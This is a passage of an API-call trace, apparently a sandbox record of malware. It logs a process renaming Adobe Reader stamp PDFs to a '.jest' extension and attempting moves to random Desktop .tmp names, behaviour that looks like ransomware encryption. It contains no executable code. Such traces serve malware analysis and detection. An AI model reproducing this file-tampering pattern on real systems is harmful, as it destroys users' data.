halpmcxz\\desktop\\twto7jdui6d15okis6_o8nq7u64z mp7bgk3tpdmzvudctby0jes gxhghqcxw4h5zrysksf0mr3jie_lotzl66x0tgvgariz4hj.tmp")) returned 0 [0152.205] GetLastError () returned 0x2 [0152.205] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf.jest")) returned 1 [0152.208] GetLastError () returned 0x0 [0152.209] VarBstrFromR4 (in: fltIn=0x479450f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.9") returned 0x0 [0152.210] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ lnp3Kb_tvciK7LM1uhMFgHr3TdZ1H- Vd04Dc4L2fRn6UzRY2J7JDqMpsE8x_f8J_UK-MM8AukjvD6m3v24ZftiISWHNJFCEFbz2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ lnp3kb_tvcik7lm1uhmfghr3tdz1h- vd04dc4l2frn6uzry2j7jdqmpse8x_f8j_uk-mm8aukjvd6m3v24zftiiswhnjfcefbz2.tmp")) returned 0 [0152.210] GetLastError () returned 0x2 [0152.211] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf.jest")) returned 1 [0152.212] GetLastError () returned 0x0 [0152.212] VarBstrFromR4 (in: fltIn=0x479450f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.9") returned 0x0 [0152.213] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pfL_pg9kMfl_ZvN7UDVLm4viyj2vZOPE80sgs_ZyLRmKwEI40DlRFMoqj W8QiO19Cir2ICK8WRiYceEq-kPQig880qoHYQ46 X5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pfl_pg9kmfl_zvn7udvlm4viyj2vzope80sgs_zylrmkwei40dlrfmoqj w8qio19cir2ick8wriyceeq-kpqig880qohyq46 x5.tmp")) returned 0 [0152.213] GetLastError () returned 0x2 [0152.213] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf.jest")) returned 1 [0152.215] GetLastError () returned 0x0 [0152.215] VarBstrFromR4 (in: fltIn=0x479450f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.9") returned 0x0 [0152.216] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dIEwgVL38YyhPWHOjsSOzG IE4lmpzPmzlKQKgreGr cEclXZWYsWLfK03u0xpHmLzEkqhFD8NsTNKQudknL6Ylxa9lh5LlR3Lus.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\diewgvl38yyhpwhojssozg ie4lmpzpmzlkqkgregr ceclxzwyswlfk03u0xphmlzekqhfd8nstnkqudknl6ylxa9lh5llr3lus.tmp")) returned 0 [0152.216] GetLastError () returned 0x2 [0152.217] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf.jest")) returned 1 [0152.218] GetLastError () returned 0x0 [0152.218] VarBstrFromR4 (in: fltIn=0x479450f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.91") returned 0x0 [0152.219] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1cW1hWhj-R5oMDeCog0 ptiX6vSCk2ux5gRgIIYtV0dKVVzZfdzmzerHCbjuS5xF5EH0ImEOdZgzye926onPwWI6GIKKxvTcJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1cw1hwhj-r5omdecog0 ptix6vsck2ux5grgiiytv0dkvvzzfdzmzerhcbjus5xf5eh0imeodzgzye926onpwwi6gikkxvtcj.tmp")) returned 0 [0152.219] GetLastError () returned 0x2 [0152.220] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf.jest")) returned 1 [0152.221] GetLastError () returned 0x0 [0152.221] VarBstrFromR4 (in: fltIn=0x479450f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.91") returned 0x0 [0152.222] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tYKFZAHobB6RdbBRYivf5l5Lim0e5WSwroBbFNlM45TPwdwGVJm743 KB6HWAawTHPM96Cy5CsCgoULJszds9iZ3Nkvs4U0NMWEw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tykfzahobb6rdbbryivf5l5lim0e5wswrobbfnlm45tpwdwgvjm743 kb6hwaawthpm96cy5cscgouljszds9iz3nkvs4u0nmwew.tmp")) returned 0 [0152.222] GetLastError () returned 0x2 [0152.223] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf.jest")) returned 1 [0152.224] GetLastError () returned 0x0 [0152.224] VarBstrFromR4 (in: fltIn=0x479450f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.91") returned 0x0 [0152.226] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o2ruyQ505P2 jig_nJn4pAFmtkUvt-uC-hK89n2QxALGCuQsq2pR23Omb4gbS2tYqG vbNnLHYlbyfZRziMfA9T56sP DVPkOSjI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o2ruyq505p2 jig_njn4pafmtkuvt-uc-hk89n2qxalgcuqsq2pr23omb4gbs2tyqg vbnnlhylbyfzrzimfa9t56sp dvpkosji.tmp")) returned 0 [0152.226] GetLastError () returned 0x2 [0152.226] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf.jest")) returned 1 [0152.229] GetLastError () returned 0x0 [0152.230] VarBstrFromR4 (in: fltIn=0x479450f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.91") returned 0x0 [0152.231] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oKBcIJ9cqvJFeWfIzjkaVgky-eh7xr4LNtns1QXB9S7zfHe8LhGRThwYvVLqYfGlf9cjIqgIPTosmhy337uS2uj2Lv8IDOpr1q6Np.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\okbcij9cqvjfewfizjkavgky-eh7xr4lntns1qxb9s7zfhe8lhgrthwyvvlqyfglf9cjiqgiptosmhy337us2uj2lv8idopr1q6np.tmp")) returned 0 [0152.231] GetLastError () returned 0x2 [0152.231] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf.jest")) returned 1 [0152.232] GetLastError () returned 0x0 [0152.233] VarBstrFromR4 (in: fltIn=0x479450f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.91") returned 0x0 [0152.234] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdM0iy_4U57sh5XDfliR6s0iDDVCG6_Xb790h3P9G9jKOyZqkZJgfY8gfNSBChFkJek4lMdfh Us0Q0Rd4LkGThRxm-flrTVVE5F.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdm0iy_4u57sh5xdflir6s0iddvcg6_xb790h3p9g9jkoyzqkzjgfy8gfnsbchfkjek4lmdfh us0q0rd4lkgthrxm-flrtvve5f.tmp")) returned 0 [0152.234] GetLastError () returned 0x2 [0152.235] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf.jest")) returned 1 [0152.236] GetLastError () returned 0x0 [0152.236] VarBstrFromR4 (in: fltIn=0x479450f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.93") returned 0x0 [0152.237] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u0Iu93gQ9Td3fc_4IJIyQ0WuJyIltxVO9okY8Cz7Ye_JPo-dhPA6sGurMSmkhwRSOsC47oBVtOmjXfGwe7S7WDF4C gHusgLGbOG-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u0iu93gq9td3fc_4ijiyq0wujyiltxvo9oky8cz7ye_jpo-dhpa6sgurmsmkhwrsosc47obvtomjxfgwe7s7wdf4c ghusglgbog-.tmp")) returned 0 [0152.237] GetLastError () returned 0x2 [0152.238] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf.jest")) returned 1 [0152.239] GetLastError () returned 0x0 [0152.240] VarBstrFromR4 (in: fltIn=0x479450f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.93") returned 0x0 [0152.240] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hTjjnD7hGexq6_V8Aex1g1OnJdYXyErb4DZLQXwmHBMWZRFYl4xk6RKVjDosp-St0ArYjZpL Ku0yH3eB6 gPLH3P5Yhhb9DtY_uc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\htjjnd7hgexq6_v8aex1g1onjdyxyerb4dzlqxwmhbmwzrfyl4xk6rkvjdosp-st0aryjzpl ku0yh3eb6 gplh3p5yhhb9dty_uc.tmp")) returned 0 [0152.241] GetLastError () returned 0x2 [0152.241] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf.jest")) returned 1 [0152.242] GetLastError () returned 0x0 [0152.242] VarBstrFromR4 (in: fltIn=0x479450f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.93") returned 0x0 [0152.243] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YHf02L-FGY9F9SJhpm2-ukQAijG9KE6rqPid7_-Jyp9gPG fxW_0H8sC5PvRwLGvb-glLB4JRqm 4X b0DD8pZK6USALTdTHLssqQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yhf02l-fgy9f9sjhpm2-ukqaijg9ke6rqpid7_-jyp9gpg fxw_0h8sc5pvrwlgvb-gllb4jrqm 4x b0dd8pzk6usaltdthlssqq.tmp")) returned 0 [0152.244] GetLastError () returned 0x2 [0152.244] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf.jest")) returned 1 [0152.245] GetLastError () returned 0x0 [0152.245] VarBstrFromR4 (in: fltIn=0x479450f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.93") returned 0x0 [0152.246] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rlhBKyNYRkKOkJyKgul306JMeKePzVz6kEMVIRz6Gp6EErGnQ5dzMZ9p7HUsF3AkWbPFeMWi0b4OR8eSFtzPQThjHql4j0eM8mGS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rlhbkynyrkkokjykgul306jmekepzvz6kemvirz6gp6eergnq5dzmz9p7husf3akwbpfemwi0b4or8esftzpqthjhql4j0em8mgs.tmp")) returned 0 [0152.246] GetLastError () returned 0x2 [0152.248] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf.jest")) returned 1 [0152.251] GetLastError () returned 0x0 [0152.252] VarBstrFromR4 (in: fltIn=0x479450f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.95") returned 0x0 [0152.253] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gHC9GlJO7SjOlaZmcn_O2qeNJvwWYEjowN-CMd0pf-YuFxibaMm9b2cfSZ7vGOOkus-kcZ2_TrknPN8xq0KwdlZHBGksWXhdnU B9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ghc9gljo7sjolazmcn_o2qenjvwwyejown-cmd0pf-yufxibamm9b2cfsz7vgookus-kcz2_trknpn8xq0kwdlzhbgkswxhdnu b9.tmp")) returned 0 [0152.255] GetLastError () returned 0x2 [0152.255] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf.jest")) returned 1 [0152.257] GetLastError () returned 0x0 [0152.257] VarBstrFromR4 (in: fltIn=0x479450f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.95") returned 0x0 [0152.258] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MUvSrdv7LrmM4F5KIYtud0tMn6-JeRbhEjvXhYy4l8c7IsvpBXHRbGk1UkpCkcMe2_UTWRvjfJHnlRqg9jelAXbRtizkhzy28Pnq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\muvsrdv7lrmm4f5kiytud0tmn6-jerbhejvxhyy4l8c7isvpbxhrbgk1ukpckcme2_utwrvjfjhnlrqg9jelaxbrtizkhzy28pnq.tmp")) returned 0 [0152.258] GetLastError () returned 0x2 [0152.259] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf.jest")) returned 1 [0152.260] GetLastError () returned 0x0 [0152.260] VarBstrFromR4 (in: fltIn=0x479450f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.95") returned 0x0 [0152.261] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OmJKc6KD9UCwlyDCQ5cdb6_0pFuby cC9cRUKMoO_FtM8Wn0IEDc1KLqIBg9Up9-rc0lraJKCSeKB1 yOZo2 e JXAF7qeiOp1FQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\omjkc6kd9ucwlydcq5cdb6_0pfuby cc9crukmoo_ftm8wn0iedc1klqibg9up9-rc0lrajkcsekb1 yozo2 e jxaf7qeiop1fq.tmp")) returned 0 [0152.262] GetLastError () returned 0x2 [0152.262] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf.jest")) returned 1 [0152.263] GetLastError () returned 0x0 [0152.263] VarBstrFromR4 (in: fltIn=0x479450f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.95") returned 0x0 [0152.265] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BUMuksPCKu7Ei0PbrFsygrzmEniTjUTVp8dg8Wkp3 xrzSRu_TTIGv0LriZJoE7vEdDlcJ9SQOoPuXfys83dDo9YW-syJL7kFf1ql.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bumukspcku7ei0pbrfsygrzmenitjutvp8dg8wkp3 xrzsru_ttigv0lrizjoe7veddlcj9sqoopuxfys83ddo9yw-syjl7kff1ql.tmp")) returned 0 [0152.265] GetLastError () returned 0x2 [0152.265] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf.jest")) returned 1 [0152.266] GetLastError () returned 0x0 [0152.267] VarBstrFromR4 (in: fltIn=0x479450fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.96") returned 0x0 [0152.268] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0dXvo-f5Tcy3t2LF9PcBXbz E830jSuh-M9i- 6IoE9ijnwL1GL3rUe4WHE2RVzblegVMV9oO KL3GBey383xS9MB0XRMeewKj5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0dxvo-f5tcy3t2lf9pcbxbz e830jsuh-m9i- 6ioe9ijnwl1gl3rue4whe2rvzblegvmv9oo kl3gbey383xs9mb0xrmeewkj5.tmp")) returned 0 [0152.268] GetLastError () returned 0x2 [0152.268] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), 